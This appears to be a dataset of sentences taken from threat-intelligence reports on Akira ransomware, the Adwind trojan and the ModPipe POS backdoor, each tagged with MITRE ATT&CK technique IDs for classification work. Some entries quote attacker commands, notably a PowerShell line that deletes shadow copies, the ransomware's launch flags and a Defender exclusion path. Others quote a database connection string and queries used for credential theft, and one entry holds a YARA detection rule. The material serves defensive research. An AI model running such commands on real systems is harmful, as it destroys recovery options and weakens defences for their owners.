{"sentence": "Event ID [1149] - RDP connection established Event ID", "labels": ["T1021.001"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[4624] RDP Type \"3\" from IP: <Redacted> - Device: <Redacted>", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\\<Redacted>]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Username hint: <Redacted> \"<Provider Name=\"\"Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\"\" Guid=\"\"{1139C61B-B549-4251-8ED3-27250A1EDEC8}\"\" /> <EventID>131</EventID> <Version>0</Version> <Level>4</Level> <Task>4</Task> <Opcode>15</Opcode> <Keywords>0x4000000000000000</Keywords> <TimeCreated SystemTime=\"\"2023-04-06T09:23:41.969586500Z\"\" /> <EventRecordID>633</EventRecordID> <Correlation ActivityID=\"\"{F4208FE1-4D5D-45DF-B8E2-A851AC3F0000}\"\" /> <Execution ProcessID=\"\"1136\"\" ThreadID=\"\"2228\"\" /> <Channel>Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational</Channel> <Computer> <Redacted> </Computer> <Security UserID=\"\"S-1-5-20\"\" /> </System> <EventData> <Data Name=\"\"ConnType\"\">TCP</Data> <Data Name=\"\"ClientIP\"\"> <Redacted>:56736</Data> </EventData> </Event>\" Incident #2 Similar to Incident #1, the threat actor was able to RDP unencumbered across the organization’s infrastructure.", "labels": ["T1021.001"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "The first item to check off the box is to restrict by role, which accounts can access other systems using RDP.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "The overwhelming majority of users do not need this access.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Defense Evasion Incident #1 The threat actor executed two actions to bypass Windows Defender [T1562.001 – Impair Defenses: Disable or Modify Tools] 5001 - Real-time Protection was disabled New Value\">HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\C:\\ Guidance The first line of defense available to organizations is to use a security agent that has robust tamper protection.", "labels": ["T1562.001"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "In terms of monitoring for this activity, these are detection-ready event sources.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "While its possible a system administrator would make such exceptions during troubleshooting, given the risk of this activity, it’s something that should be investigated promptly if a corresponding support ticket isn’t found.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Command and Control Incident #1 During this incident, the threat actor leveraged one of the most popular dual-use agents, AnyDesk, to provide persistent remote access into the affected organization on multiple systems.", "labels": ["T1219"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1219 – Remote Access Software] UserAssist entry: 86 Value name: C:\\Users\\administrator.<Redacted> \\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\14J9H2AA\\AnyDesk.exe Count: 1 Event ID [7045] \"Service Name: Anydesk\" \"C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe\"\" --service\" Prefetch", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[ANYDESK.EXE] was executed - run count 9 path: \\PROGRAM FILES (X86)\\ANYDESK\\ANYDESK.EXE hash: 0x389EE9E9 volume:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "1 [serial number: 0x7077BC2C device path: \\VOLUME{01cf89bc76f2a351-7077bc2c}] Incident #2 The threat actor almost immediately installed Cloudflare’s freely available tunnelling software here, C:/ProgramData/windows_update.exe, followed by the download and execution of another dual-use agent, Radmin [T1572 – Protocol Tunneling ]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "All non-approved remote access solutions should be blocked by default by an application control capability.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "A good approach to prevent theft of data is to adopt least privilege access, which means ensuring only the required people have access, followed by granular controls on exporting, sharing, or moving the files.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Impact Incident #1 C:\\ProgramData\\Update.bat file executed the ransomware binary dllhost32.exe, which is detected as Troj/Ransom-GWA by Sophos (Figure 4)", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1490 – Inhibit System Recovery] dllhost32.exe -n=10 -s", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "=C:\\ESD\\sharez.txt dllhost32.exe -n=1 -s", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "=C:\\program files\\sharez.txt powershell.exe -Command \"Get-WmiObject Win32_Shadowcopy", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "| Remove-WmiObject\" –n option is for encryption percentage, the attacker used different settings during the incident -s option is for –share_file, there is a –p option for –encryption_path Removing the shadow copies prevents recovery using native Window’s features and Sophos detects this as Impact_6a.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1490 – Inhibit System Recovery] Creates the C:\\fn.txt ransom note when complete Dwell time of 30+ days before executing ransomware As previously reported by Bleeping Computer, Akira targets 26 specific file extensions for encryption.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Notably, it it does not target PDFs or typical Microsoft Office file types: .abcddb .accdb .accde .accdc .accdt .accdr .accdw .accft .dacpac .daschema .dadiagram .db-shm .db-wal .fmpsl .fmp12 .kexic .kexis .nrmlib .sas7bdat .sqlite .sqlitedb .sqlite3 .xmlff .nvram .subvol .qcow2 SophosLabs researchers have also confirmed which file extensions are avoided by Akira in order to not impact system stability.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "In the case of Sophos, it’s critical for customers to have their CryptoGuard policy activated, which is something support can guide customers on.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "rule ecrime_AKIRA_strings { meta: id = \"8c59c35d-8fb8-4644-9fa4-ce05b30e91c3\" version = \"1.0\" author = \"Paul Jaramillo\" intrusion_set = \"AKIRA\" description = \"Detects common strings\" source = \"PE binaries\" creation_date = \"2023-05-03\" modification_date = \"2023-05-09\" classification = \"TLP:CLEAR\" strings: $s1 = \".akira\" ascii nocase $s2 = \"akira_readme.txt\" ascii nocase $s3 = \".onion\" ascii nocase $s4 = /\\\\akira\\\\asio\\\\include\\\\asio\\\\impl\\\\co_spawn\\.hpp/ $s5 = /MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAylJbjtFvzHapC/ condition: (filesize>250KB and filesize<1MB) and uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "== 0x4550 and (($s1 and $s2 and $s3) or $s4 or $s5) } Please be aware that threat actors will continue to modify the code, which was evident when we uncovered the following new file name being used “readme-asldkas.txt”.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Conclusion Sophos MDR is sharing this information with the specific goal of aiding defenders in the seemingly never-ending battle with ransomware threat groups.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Through each of the covered steps in the attack flow, specific guidance is provided to drive actions with context.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Aside from the differences in C2 tools used (AnyDesk vs Cloudflared), one of the key points to highlight is the dwell time.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Incident #1 had a dwell time of 7 days compared to incident #2 with over 30 days of dwell time.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Both of these events demonstrate a slower operational tempo, which bodes well for defenders having opportunities to disrupt in-flight compromises.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "The time from initial access to ransomware impact is indicative of the complex e-crime ecosystem, where there are distributors, initial access brokers, malware developers, and ransomware affiliates working together from resource development to payment.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Adwind Trojan Circumvents Antivirus Software To Infect Your PC url: https://www.anomali.com/blog/wtb-adwind-trojan-circumvents-antivirus-software-to-infect-your-pc", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The intelligence in this week’s iteration discuss the following threats: Credit card theft, DDoS, Phishing, Ransomware, Trojan, Vulnerabilities, and Web cache poisoning.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Unknown threat actors have been observed conducting a spear phishing campaign that targets various industries such as finance, manufacturing, shipping, telecoms, and others targeted upon machines in Germany and Turkey in an effort to infect the targets with a Remote Access Trojan (RAT), “Adwind.”", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "MacOS, Windows and Linux operating systems are all vulnerable to this particular jRAT.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This specific malware is observed to log keystrokes, steal credentials, tamper with system files as all RATs do, but also steals cryptographic keys to access cryptocurrency wallets on infected systems.", "labels": ["T1056.001"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This jRAT is spread via spear phishing emails that contain a .csv or .xlt file attachment with a so-called Dynamic Data Exchange (DDE) code injection that intends to compromise Microsoft Excel and circumvent signature-based antivirus protections.", "labels": ["T1566.001"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The threat actor behind the attack modified the RAT to have a low-detection rate.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "[MITRE ATT&CK] Dynamic Data Exchange (T1173) |", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Spearphishing Attachment (T1193)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "AdGuard Reset User Passwords After Enduring Credential Stuffing Attacks (September 24, 2018) Ad-blocking software company AdGuard reported that they had recently suffered a cyber-attack in the form of credential stuffing, and issued a password reset to all users for all accounts.", "labels": ["T1110"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "They noticed repeated login attempts from suspicious IP addresses belonging to a variety of servers world-wide, using login credentials from what the company suspects are past data breaches from other companies.", "labels": ["T1110"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Associate Professor Zhiyun Qian and doctoral student Weiteng Chen from the University of California discovered a vulnerability in unencrypted Wi-Fi routers that makes them susceptible to a TCP exploit.", "labels": ["T1210"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The exploit can be employed when threat actors intercept the communication between the router and a user’s machine, and send a malicious payload that appears legitimate to poison the web cache.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This allows the threat actor to inject a malicious copy of a web page (typically a login or checkout page one is visiting) so that every time that page is visited, it is the compromised version.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This has the potential to give the actor access to the information and credentials entered in those sites.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "A bug has been identified in Microsoft JET Database Engine that could allow remote execution.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This bug is an out-of-bounds write (when software writes data past the end, or before the beginning of the intended buffer, hence “out-of-bounds”) that can be triggered through opening a Jet data source via OLEDB.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "At the time of the article’s publication, a patch has yet to be released.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "A Distributed-Denial-of-Service (DDoS) vulnerability was discovered to affect Bitcoin Core versions 0.14.0 up to 0.16.2 that could bring down the entire Bitcoin blockchain by flooding full node operators with traffic.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The vulnerability originates in the consensus code and allowed for Bitcoin miners to have the option of sending transaction data twice.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This would cause the Bitcoin network to crash whilst it attempted to validate the duplicate transaction.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This type of DDoS attack, however, would require the threat actor to basically throw away 12.5 BTC ($80,000 USD) to actually cause any damage to the network, so it is unlikely it will be exploited.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Bitcoin software developers have issued a patch for anyone running nodes.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Click here for Anomali recommendation Flaw In 4GEE WiFi Modem Could Leave Your Computer Vulnerable (September 20, 2018) Security researcher, Osanda Malith, from ZeroDayLab discovered a severe vulnerability in 4G-based wireless 4GEE Mini modems sold by mobile operator, EE.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This vulnerability, registered as “CVE-2018-14327,” allows a low-privileged user account to escalate privileges on any Windows machine that had connected to the EE Mini modem via USB.", "labels": ["T1068"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "For an attacker to exploit this vulnerability, they just have to replace the “ServiceManager.exe” file from the driver folder with a malicious file to trick the driver into running the tainted file and executing with higher SYSTEM privileges following a reboot.", "labels": ["T1036.005"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "A patch has been released for this vulnerability by EE.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "[MITRE ATT&CK] File System Permissions Weakness (T1044)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This Windows File May Be Secretly Hoarding Your Passwords And Emails (September 19, 2018) Windows machines that have handwriting recognition features enabled that translate stylus and touchscreen writing into formatted texts are susceptible to a Windows “WaitList.dat” file storing sensitive information, such as passwords, without the user’s knowledge.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "However, once the handwriting recognition feature is enabled, text from every document and email is indexed into this file, not only the files that interacted with the touchscreen feature.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This means that if threat actors gained unauthorised access to this specific file on a machine, they would have access to sensitive data that is unwittingly stored in it, compromising many facets of information.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Click here for Anomali recommendation Magecart Strikes Again: Newegg", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "In The Crosshairs (September 19, 2018) E-Commerce company, Newegg, is the latest victim of credit card-skimming campaign by threat group, MageCart.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Between late August and early September 2018, MageCart stole credit card data from British Airways and Feedify, and appear to have used the same malicious JavaScript code to compromise the Newegg checkout page to obtain card credentials.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This particular breach of information occurred between August 13, 2018 and September 18, 2018.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Both data theft campaigns against Newegg and British Airways appear to have occurred around the same time, with the Newegg campaign starting a week earlier than the British Airways campaign.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "[MITRE ATT&CK] Drive-by Compromise (T1189) Authentication Bypass Vulnerability In Western Digital", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "A vulnerability in the “My Cloud” devices from the storage solutions company, \"Western Digital,\" was discovered.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "This vulnerability, registered as “CVE-2018-17153,” can allow for unauthorised actors to bypass authentication and register their activity on a specific IP address as an administrator.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "A threat actor could establish an administrator session using the “network_mgr.cgi CGI” module in the HTTP and set the IP address as an admin session that will allow the actor to bypass future authentication when logging into the device over the internet.", "labels": ["T1078"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "At the current publication of the article, a patch has not been developed or released.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "[MITRE ATT&CK] Account Manipulation (T1098) Paste Site Used As Hosting Service For FilesMan Backdoor (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Researcher Bruno Zanelato discovered a backdoor, called “FilesMan,” dropped into several websites due to a pre-existing PHP file placed into the website’s structure by threat actors.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The PHP file “wp-content/themes/buildup/db.php” decrypts that specific payload code to the install the FilesMan backdoor that allows the threat actor to gain access to a website through their own machine.", "labels": ["T1140"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "[MITRE ATT&CK] Shared Webroot (T1051) Bristol Airport Flight Display Screens Failed After Ransomware Incident (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Flights were able to operate as normal, though the airport did request that travellers arrive to the airport earlier to allow extra time for checking in and the boarding process.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Security officials reported that no ransom was paid and the safety of the security systems remain unaffected during the cyber incident.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Click here for Anomali recommendation Just 13 – No, Er, Make That 3,200 Punters Hit In Oz's Perth Mint Hack (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "A security breach at the Australian government’s official mint “Perth Mint” that was initially believed to have only affected 13 customers, has ended up actually affecting over 3,200 customers.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The company contacted affected customers to notify them of the breach and that their personal information was breached, but their investments were not impacted and are secure.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Click here for Anomali recommendation Beware Of Emails Purporting To Be From The IRS (September 17, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Researchers at Fortinet discovered a recent phishing email campaign pretending to be from the US Internal Revenue Service (IRS).", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The file does not contain any malicious macros or code, so it appear to be clean to open on a computer.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The email asks the target to file out the attached form and then fax it over to a specific fax number.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The objective of this campaign is to steal Personally Identifiable Information (PII).", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Click here for Anomali recommendation Tenable Research Advisory: Peekaboo Critical Vulnerability In NUUO Network Video Recorder (September 17, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Researchers at Tenable Research discovered two vulnerabilities in monitoring and surveillance company NUUO’s “Network Video Recorder” software in the “NVRMini2” network-connected, video recording device.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "The second vulnerability, CVE-2018-1150, is a backdoor that is believed to be caused by leftover debug code, and allows the list of all user accounts on a system to be accessible with their passwords capable of being manipulated.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Changing the passwords could then allow a threat actor access to that account with their own passcode, and then sign on as a legitimate user to view camera feeds or CCTV footage and recordings as well as delete a camera from a system completely.", "labels": ["T1078"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "These vulnerabilities could allow threat actors to tamper with security footage and live feeds.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "A patch is currently in development for both vulnerabilities.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "[MITRE ATT&CK] Third-party Software (T1072)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"}
{"sentence": "Backdoor authors show deep knowledge of the targeted POS software, decrypting database passwords from Windows registry values ESET researchers have discovered ModPipe, a modular backdoor that gives its operators access to sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "What makes the backdoor distinctive are its downloadable modules and their capabilities.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values.", "labels": ["T1005", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Exfiltrated credentials allow ModPipe’s operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "However, based on the documentation of RES 3700 POS, the attackers should not be able to access some of the most sensitive information – such as credit card numbers and expiration dates – which is protected by encryption.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The only customer data stored in the clear and thus available to the attackers should be cardholder names.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "This would limit the amount of valuable information viable for further sale or misuse, making the full “business model” behind the operation unclear.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "One possible explanation is that another downloadable module exists that allows the malware operators to decrypt the more sensitive data in the user’s database.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "According to the documentation, to achieve this the attackers would have to reverse engineer the generation process of the “site-specific passphrase”, which is used to derive the encryption key for sensitive data.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "This process would then have to be implemented into the module and – due to use of the Windows Data Protection API (DPAPI) – executed directly on the victim’s machine.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The majority of the identified targets were from the United States, with indications that they were in the restaurant and hospitality sectors – the primary customers of RES 3700 POS.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "persistent loader – unpacks and loads the next stage of the malware, namely the main module.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "main module – performs the main functionality of the malware.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "It creates a pipe used for communication with other malicious modules, un/installs these modules and serves as a dispatcher that handles communication between the modules and attacker’s C&C server.", "labels": ["T1041"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Overview of ModPipe backdoor architecture Downloadable modules Probably the most intriguing parts of ModPipe are its downloadable modules.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "We’ve been aware of their existence since the end of 2019, when we first found and analyzed its “basic” components.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "In April 2020, after a couple of months of hunting, we found three of these modules in the wild.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Our research also suggests that the operators use at least four other downloadable modules, whose functionality remains completely unknown to us for now.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "It’s worth mentioning that some of these modules can create a named pipe with a GUID-formatted name derived from the module’s ID.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Other modules can use this pipe to send commands to the module that created it.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "This information is encrypted and stored in DataS5 (for dba) and DataS6 (for micros) registry values within one of the following registry keys: HKLM\\Software\\Micros\\UserData or HKLM\\Software\\WOW6432Node\\Micros\\UserData if run in Windows 32-bit on Windows 64-bit (WOW64) subsystem Figure 2.", "labels": ["T1027", "T1112"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "So as not to aid other malicious actors, we won’t be disclosing the inner workings of the algorithm.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The attackers could have gained the information describing the implementation of the encryption and decryption mechanism from a 2016 data breach described in a blogpost by Brian Krebs.", "labels": ["T1027", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Our analysis shows that in cases where the GetMicInfo module decrypts the password for the dba username, it will also try to acquire the path to the SQL Anywhere API library from the environment variable “SQLANY_API_DLL” and load it if it’s available.", "labels": ["T1078", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "This library is a part of Sybase SQL Anywhere, which is used by RES 3700 POS.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "If one of these approaches is successful, GetMicInfo attempts to connect to the database using the following connection string: DBN=micros;UID=dba;ENG=sql%PCNAME%;PWD=%decrypted_DataS5% %PCNAME% represents the computer name retrieved via the GetComputerName API and %decrypted_DataS5% stands for the decrypted dba user password.", "labels": ["T1078", "T1106", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "After establishing a connection, GetMicInfo tries to execute the following SQL queries and report the results to the main module, using a pipe message with ID 0x10000013 (see Table 3 for a full list of pipe messages and their IDs): SELECT lan_node_seq,obj_num,name,lan_addr,ob_diskless,type,ip_addr,ip_netmask FROM micros.lan_node_def SELECT dvc_tbl_seq,obj_num,name,type,com_port_seq,com_port,baud_rate,num_data_bits,num_stop_bits,parity_type,filename FROM micros.dev_def SELECT tmed_seq,obj_num,name,type,ca_driver,edc_driver FROM micros.tmed_def SELECT *", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "FROM micros.caedc_driver_def SELECT *", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Other information stolen by the module includes the version of the MICROS POS and information about specific registry keys most likely related to various credit card services configurations.", "labels": ["T1012"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "For all the other versions, we were able neither to confirm nor deny the ability of the component to obtain the targeted libraries.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Downloadable module: ModScan 2.20", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The main purpose of ModScan 2.20 is to collect additional information about the installed MICROS POS environment on the machines by scanning selected IP addresses.", "labels": ["T1016"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The list of IP addresses intended for scanning and the special “ping” IP address are specified by the C&C in one of two ways.", "labels": ["T1016"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "It is either: downloaded from the C&C along with the ModScan module, or received during runtime, using the named pipe associated with the ModScan module.", "labels": ["T1105"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The ModScan module handles pipe commands listed in Table 2. Table 2.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "ModScan 2.20 module pipe commands Command nameCommand description exitExit stopTerminate scanning threads scanStart scanning IPs specified in the command data to collect additional information about the environment prmSpecify special “ping” IP address Scanning procedure routine Before scanning, the module sends a special “ping” message containing a 32-bit value generated by the GetTickCount Windows API function to TCP ports 50123 (used by MDS HTTP Service) and 2638 (used by SAP Sybase database server) of the “ping” IP address.", "labels": ["T1016", "T1095", "T1106"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
